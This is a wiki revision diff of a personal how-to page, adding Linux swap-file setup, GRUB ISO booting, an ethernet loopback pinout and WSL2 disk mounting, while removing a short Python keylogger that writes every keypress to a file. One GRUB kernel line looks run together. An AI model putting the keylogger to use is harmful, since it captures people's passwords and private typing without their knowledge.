howtos

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revision Previous revision
Next revision
Previous revision
howtos [2022-12-05 19:40] asdfhowtos [2024-03-10 00:10] (current) – [Add Linux swap space] asdf
Line 2: Line 2:
 Instructions for performing tasks that I do often enough to need to know but infrequently enough to never remember the details. Instructions for performing tasks that I do often enough to need to know but infrequently enough to never remember the details.
  
-===== Fake a document scan ===== 
 ===== Add Linux swap space ===== ===== Add Linux swap space =====
-===== Create reverse SSH connection ===== +These commands should all be performed with root permissions. The instructions below assume destination path of ''/swapfile'' and file size of 1 GiB
-===== Log keys in Python ===== +
-<code python> +
-from pynput.keyboard import Key, Listener +
-import logging+
  
-logging.basicConfig(filename=("keylog.txt")level=logging.DEBUG, format=" %(asctime)s - %(message)s")+Firstallocate space:
  
-def on_press(key): +<code bash> 
-    logging.info(str(key)) +fallocate -l 1G /swapfile 
-     +# alternatively 
-with Listener(on_press=on_press) as listener: +dd if=/dev/zero of=/swapfile bs=1024 count=1048576
-    listener.join()+
 </code> </code>
 +
 +Ensure only root can read the swap file's contents:
 +
 +<code bash>
 +chmod 600 /swapfile
 +</code>
 +
 +Finally, activate and enable the swap file:
 +
 +<code bash>
 +mkswap /swapfile
 +swapon /swapfile
 +</code>
 +
 +To have the swap automount on boot, add the following to ''/etc/fstab'':
 +
 +<code>
 +/swapfile swap swap defaults 0 0
 +</code>
 +
 +===== Boot an ISO from GRUB =====
 +Adapted from [[https://forum.manjaro.org/t/howto-boot-manjaro-iso-directly-with-grub/15892]]. Run the following commands from the GRUB2 prompt.
 +
 +<code>
 +set isofile="/path/to/isofile.iso"
 +set dri="free"
 +set lang="en_US"
 +set keytable="us"
 +set timezone="America/Los_Angeles"
 +search --no-floppy -f --set=root $isofile
 +probe -u $root --set=abc
 +set pqr="/dev/disk/by-uuid/$abc"
 +loopback loop $isofile
 +linux (loop)/boot/vmlinuz-x86_64 img_dev=pqrimgloop=isofile driver=dritz=timezone lang=langkeytable=keytable copytoram
 +initrd (loop)/boot/intel_ucode.img (loop)/boot/initramfs-x86_64.img
 +</code>
 +
 +Adjust ''intel_ucode.img'' to ''amd_ucode.img'' for AMD CPUs.
 +
 +Note that the [[GreatFET]] has Facedancer capabilities, so it should be possible to use it to emulate a mass storage device with the ISO as the source and boot that instead.
 +
 +===== Make an ethernet loopback connector =====
 +This trick works with either a socket or a plug. Connect the following pins: 
 +
 +  * 1 <-> 3
 +  * 2 <-> 6
 +  * 4 <-> 7
 +  * 5 <-> 8
 +
 +===== Mount an ext4 drive in WSL2 =====
 +Open a PowerShell window as an administrator, then run the following command to list available disk drives:
 +
 +<code powershell>
 +GET-CimInstance -query "SELECT * from Win32_DiskDrive"
 +</code>
 +
 +Locate the desired entry, then attach it to the WSL instance: 
 +
 +<code powershell>
 +wsl --mount \\.\PHYSICALDRIVE2
 +</code>
 +
 +Finally, locate and mount the disk within the WSL instance. 
 +
 +https://learn.microsoft.com/en-us/windows/wsl/wsl2-mount-disk
 +
 +===== Fake a document scan =====
 +===== Create a reverse SSH connection =====
  • howtos.1670269243.txt.gz
  • Last modified: 2022-12-05 19:40
  • by asdf